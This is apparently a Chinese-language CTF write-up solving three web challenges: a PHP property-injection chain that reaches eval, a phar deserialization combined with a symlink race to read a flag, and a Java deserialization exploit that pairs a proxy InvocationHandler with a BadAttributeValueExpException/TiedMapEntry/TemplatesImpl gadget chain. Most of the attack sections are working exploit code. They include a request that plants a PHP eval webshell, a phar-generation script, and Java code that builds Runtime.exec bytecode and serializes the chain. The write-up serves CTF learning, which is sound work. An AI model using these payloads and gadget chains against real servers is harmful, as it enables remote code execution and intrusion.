# warmup-php (反序列化)

# 源码

index.php

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
    public function __construct($action,$properties){
        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}
new Action($action,$properties);

Base.php

<?php
class Base
{
    public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }
    public function __set($name, $value)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter)) {
            return $this->$setter($value);
        } else {
            throw new Exception("error property {$name}");
        }
    }
    public function __isset($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter))
            return $this->$getter() !== null;
        return false;
    }
    public function __unset($name)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter))
            $this->$setter(null);
    }
    public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return  call_user_func_array($_expression_, $_data_);
        }
    }
}

Filter.php

<?php
class Filter extends Base
{
    public $lastModified;
    public $lastModifiedExpression;
    public $etagSeed;
    public $etagSeedExpression;
    
    public $cacheControl='max-age=3600, public';
    
    public function preFilter($filterChain)
    {
        $lastModified=$this->getLastModifiedValue();
        $etag=$this->getEtagValue();
        if($etag===false&&$lastModified===false)
            return true;
        if($etag)
            header('ETag: '.$etag);
        if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
        {
            if($this->checkLastModified($lastModified))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        if($lastModified)
            header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');
        $this->sendCacheControlHeader();
        return true;
    }
    
    protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }
        if($this->lastModified)
        {
            if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
                return $this->lastModified;
            elseif(($lastModified=strtotime($this->lastModified))===false)
                throw new Exception("error");
            return $lastModified;
        }
        return false;
    }
    
    protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }
    
    protected function checkEtag($etag)
    {
        return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
    }
    
    protected function checkLastModified($lastModified)
    {
        return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
    }
    
    protected function send304Header()
    {
        header('HTTP/1.1 304 Not Modified');
    }
    
    protected function generateEtag($seed)
    {
        return '"'.base64_encode(sha1(serialize($seed),true)).'"';
    }
}

ListView.php

<?php
abstract class ListView extends Base
{
    public $tagName='div';
    public $template;
    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }
    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }
    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }
}

TestView.php

<?php
class TestView extends ListView
{
    const FILTER_POS_HEADER='header';
    const FILTER_POS_BODY='body';
    public $columns=array();
    
    public $rowCssClass=array('odd','even');
    
    public $rowCssClassExpression;
    
    public $rowHtmlOptionsExpression;
    
    public $selectableRows=1;
    public $data=array();
    public $filterSelector='{filter}';
    
    public $filterCssClass='filters';
    
    public $filterPosition='body';
    
    public $filter;
    
    public $hideHeader=false;
    
    
    public function renderTableHeader()
    {
        if(!$this->hideHeader)
        {
            echo "<thead>\n";
            if($this->filterPosition===self::FILTER_POS_HEADER)
                $this->renderFilter();
            if($this->filterPosition===self::FILTER_POS_BODY)
                $this->renderFilter();
            echo "</thead>\n";
        }
        elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
        {
            echo "<thead>\n";
            $this->renderFilter();
            echo "</thead>\n";
        }
    }
    
    public function renderFilter()
    {
        if($this->filter!==null)
        {
            echo "<tr class=\"{$this->filterCssClass}\">\n";
            echo "</tr>\n";
        }
    }
    
    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }
        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];
        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }
    public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";
        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }
}

# 代码审计

# Base.evaluateExpression

看到 Base.php 有这么一个函数,尝试利用

image-20220425090218018

尝试利用第一个, return 的时候写一个文件 (这里也可以直接 return system('/readflag') )

写一个 test.php

<?php
include_once "Base.php";
$a = new Base();
$_expression_ = $_POST['expression'];
$data= [1,2];
$a->evaluateExpression($_expression_, $data);

传入

expression=file_put_contents("miku.php", "<?php eval(\$_POST[1]);")

这里有一个小知识点,传一句话木马的时候从 hackbar 传,而且 $_POST 前面加反斜线,这样传进来的才是一句话木马

image-20220425093024214

phpstorm 里面要这样传

$_expression_ = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")";

否则 $_POST[1] 会消失

image-20220425093246265

image-20220425093253748

只要让传入的 _expression_file_put_contents 即可

找一下哪里用了这个函数

# TestView.renderTableRow

image-20220425094321580

<?php
include_once "Base.php";
include_once "ListView.php";
include_once "TestView.php";
$a = new TestView();
$a->rowHtmlOptionsExpression = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")";
$data= "1";
$a->renderTableRow($data);

image-20220425122516037

那么让这个类的 rowHtmlOptionsExpression 属性为 file_put_contents ,看看哪里调用这个方法

# TestView.renderTableBody

image-20220425160011161

直接调用就可以了

image-20220425160115563

注意这里要进入的话需要 n 大于 0,也就是说 data 需要大于 0

<?php
include_once "Base.php";
include_once "ListView.php";
include_once "TestView.php";
$a = new TestView();
$a->data = [1];
$a->rowHtmlOptionsExpression = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")";
$a->renderTableBody();

image-20220425160223527

然后看看哪里调用了 renderTableBody

# ListView.renderContent

找不到直接调用,看看其他类

image-20220425153815298

先看一下 preg_replace_callback

image-20220425154055986

image-20220425154513015

image-20220425154742222

我们把括号去掉可以看到此时就匹配到了一个

image-20220425155010207

那么 renderContent 的意思是对他自身的 template 属性调用 renderSection 函数

image-20220425160404143

这里刚好调用的无参方法,让其 templaterenderTableBody 即可

注意:正则表达式是 {(\w+)} ,所以传入的 template 需要带上 {}

<?php
include_once "Base.php";
include_once "ListView.php";
include_once "TestView.php";
$a = new TestView();
$a->data = [1];
$a->rowHtmlOptionsExpression = "file_put_contents(\"miku.php\", \"<?php eval(\\\$_POST[1]);\")";
$a->template = "{TableBody}";
$a->renderContent();

image-20220425160541084

剩下的就比较简单了

image-20220425160608725

image-20220425160622633

get

action=TestView

post

properties[template]={TableBody}&properties[data][0]=1&properties[data][1]=2&properties[rowHtmlOptionsExpression]=file_put_contents("miku.php", "<?php eval(\$_POST[a]);")

image-20220425160825367

image-20220425161155183

# soeazy-php(phar,条件竞争)

  • 修改界面的任意文件读取
  • phar 反序列化
  • 条件竞争

查看源码发现 edit.php

image-20220425163004282

利用这个读取源码

先看一下 edit.php 作用

image-20220425165655588

我们把头像换成 1.png

image-20220425165727494

那么我们把头像换成 ../edit.php

image-20220425165811990

右键新开窗口然后保存即可

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); // 以 root 权限复制 /flag 到 /tmp/flag.txt,并 chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }
}
function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}
if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }
    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  // 不给我看我自己写个 flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

# 代码审计

image-20220425175107945

以 root 权限复制 /flag 到 /tmp/flag.txt,并 chown www-data:www-data /tmp/flag.txt

image-20220425175236762

这一段就是获取要更换的图片文件名,并且文件内容不能有 flag

image-20220425175559355

前半段是将传入的 flag 写入 /tmp/flag.txt

后半段是将传入的 png 文件名连接到 uploads/head.png

# phar 反序列化

利用 flag 类的 copyflag 函数将 flag 放入 /tmp/flag.txt 中,这里可以利用 phar 协议,因为都是处理文件的函数

因为 POST['png'] 一段里面有对 phar 的过滤,所以不能在这一段里面利用

只有 unlink 是可以控制的,所以我们需要进入到 unlink 里面

我们看一下 symlink 的作用 (linux 下)

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);
echo readlink($link);
?>

image-20220425201849472

<?php
file_put_contents("123.php", "<?php echo(123);?>");
var_dump(symlink("/etc/passwd", "123.php"));

image-20220425202030944

姑且认为目标符号如果是一个存在的文件,那么就不可以创建链接

就是说我们传入 phar://uploads/xxx.png (我们之前上传好的 phar 文件) 的时候会默认 false

构造 phar 文件上传

<?php
error_reporting(E_ALL);
class flag {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置 stub,增加 gif 文件头
$o = new flag();
$phar->setMetadata($o); // 将自定义 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>

# 条件竞争

通过 phar 反序列化我们让 flag 放入了 /tmp/flag.txt 但是我们怎么去读取 /tmp/flag.txt 呢,通过 symlink($filename, $head)/tmp/flag.txtheader.png 绑定的时候去读取

就是说我们需要在 head.png 绑定 /tmp/flag.txt 的时候进行 phar 反序列化,也就是前面一直上传

../../../../../../tmp/flag.txt ,在最后的时候加上 phar://uploads/xxx.png

解释一下它为啥是最后一个,由于需要上传 $_POST['flag'] 才能进入到第二段 if 语句中,而进入后传参的 $_POST['flag'] 又会被写到 /tmp/flag.txt ,如果 payload 不是在最后一个那么 /tmp/flag.txt 会被覆盖

image-20220425225557698

image-20220425225619520

image-20220425225631443

# warmup_java(动态代理)

# 源码

给了个 jar 包

IndexController

public class IndexController {
    @RequestMapping({"/warmup"})
    public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Utils.hexStringToBytes(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "index";
    }
}

MyInvocationHandler

public class MyInvocationHandler implements InvocationHandler, Serializable {
    private Class type;
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Method[] methods = this.type.getDeclaredMethods();
        Method[] var5 = methods;
        int var6 = methods.length;
        for (int var7 = 0; var7 < var6; var7++) {
            Method xmethod = var5[var7];
            xmethod.invoke(args[0], new Object[0]);
        }
        return null;
    }
}

Utils

public class Utils {
    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
    static int hexCharToInt(char c) {
        if (c >= '0' && c <= '9')
            return c - 48;
        if (c >= 'A' && c <= 'F')
            return c - 65 + 10;
        if (c >= 'a' && c <= 'f')
            return c - 97 + 10;
        throw new RuntimeException("invalid hex char '" + c + "'");
    }
    public static byte[] hexStringToBytes(String s) {
        if (s == null)
            return null;
        int sz = s.length();
        byte[] ret = new byte[sz / 2];
        for (int i = 0; i < sz; i += 2)
            ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1)));
        return ret;
    }
    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }
}

# 代码审计

image-20220507120853992

这里就是将 16 进制的数字转换为字节数组然后反序列化,配合一下包里给的 Utils 类即可

image-20220507121021970

这个 MyInvocationHandlerinvoke 方法就是将其属性 type 所有的方法进行调用,参数是外部传入的参数

也就是说,外部类无论调用什么方法都与内部无关,外部类仅仅起到传递参数的作用,那么我们直接让其 typeTemplates.class 即可,接着找如何利用

https://forum.butian.net/share/1520

这里是利用 CC4 的入口,但是实际上我们只需要寻找满足

  • readObject 方法直接或者间接调用能够传入可控制的参数

的类即可

例如我们从 CC5 中找一个

CC5 中调用链:

BadAttributeValueExpException.readObject ->  TiedMapEntry.toString  ->  this.map.get(this.key)

先写一个 map.get(key) 出来

import static marshalsec.util.Reflections.setFieldValue;
public class exp {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setFieldValue(templates, "_bytecodes", bytecodes);
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
        MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Templates.class);
        Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, myInvocationHandler);
        map.get(templates);
}
}

image-20220507130012380

再放到 TiedMapEntry 里面

public class exp {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setFieldValue(templates, "_bytecodes", bytecodes);
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
        MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Templates.class);
        Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, myInvocationHandler);
//        map.get(templates);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "1");
        setFieldValue(tiedMapEntry, "map", map);
        setFieldValue(tiedMapEntry, "key", templates);
        tiedMapEntry.toString();
    }
}

image-20220507130251849

最终 exp

public class exp {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setFieldValue(templates, "_bytecodes", bytecodes);
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
        MyInvocationHandler myInvocationHandler = new MyInvocationHandler(Templates.class);
        Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, myInvocationHandler);
//        map.get(templates);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "1");
        setFieldValue(tiedMapEntry, "map", map);
        setFieldValue(tiedMapEntry, "key", templates);
//        tiedMapEntry.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        setFieldValue(badAttributeValueExpException, "val", tiedMapEntry);
        System.out.print(Utils.objectToHexString(badAttributeValueExpException));
        String data = Utils.objectToHexString(badAttributeValueExpException);
        new ObjectInputStream(new ByteArrayInputStream(Utils.hexStringToBytes(data))).readObject();
    }
}

image-20220507140929229

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝